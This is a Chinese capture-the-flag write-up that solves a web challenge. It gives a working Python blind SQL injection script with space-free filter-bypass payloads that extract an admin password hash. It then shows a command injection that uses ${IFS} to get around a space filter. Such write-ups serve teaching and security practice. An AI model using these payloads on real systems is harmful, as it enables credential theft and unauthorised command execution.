简介 :
http://www.hetianlab.com/pages/activity/X-NUCANationalTL2017.jsp
阳光总在风雨后
(破解人数:4)
描述:不要被打击的没信心了
http://218.76.35.74:20130
首先只给了一个登录界面 , 考虑到可能是SQL盲注
经过测试发现过滤了
小数点
空格
星号
...
根据过滤的规则写出盲注脚本如下 :
#!/usr/bin/env python
# encoding: utf-8
import requests
def login(username, password):
url = "http://218.76.35.74:20130/login.php"
data = {
"uname":username,
"passwd":password
}
print "[+] Payload = %s" % (data)
response = requests.post(url, data=data)
content = response.content
return "password" in content
def main():
START = 0x20
END = 0x80
data = ""
for i in range(0x20):
LEFT = START
RIGHT = END
P = (LEFT + RIGHT) / 2
while True:
username = "admin'^!(ascii(mid(REVERSE(mid(REVERSE(mid((select(passwd)from(admin))from(1)))from(-%d)))from(-1)))>%d)^'" % (i + 1, P)
password = "admin"
if login(username, password):
LEFT = P
P = (LEFT + RIGHT) / 2
else:
RIGHT = P
P = (LEFT + RIGHT) / 2
if (RIGHT - LEFT) < 2:
data += chr(P + 1)
print "[+] Data : [%s]" % (data)
break
# print "[%d] >> [%d] << [%d]" % (LEFT, P, RIGHT)
if __name__ == "__main__":
main()
注入得到 admin 的密码为 :
50f87a3a3ad48e26a5d9058418fb78b5
md5 解密之后得到明文为 :
shuangshuang
登录之后发现是一个管理后台 , 有一个功能可以直接执行命令
但是过滤了空格 , 可以通过环境变量 ${IFS} 来代替绕过
还有一个坑就是发现命令执行得到的结果中只有最后一行
猜测可能是后台 php 的代码逻辑如下 :
$command = $_POST['cmd'];
if(strpos($command, ' ')){
die('Not allowed!');
}
system($command.' | tail -n 1');
可以通过命令后加上
head -n 1
来解决这个问题
找到 /var/www/html 下有一个目录为 :
在其中有一个 php 文件
内容即为 flag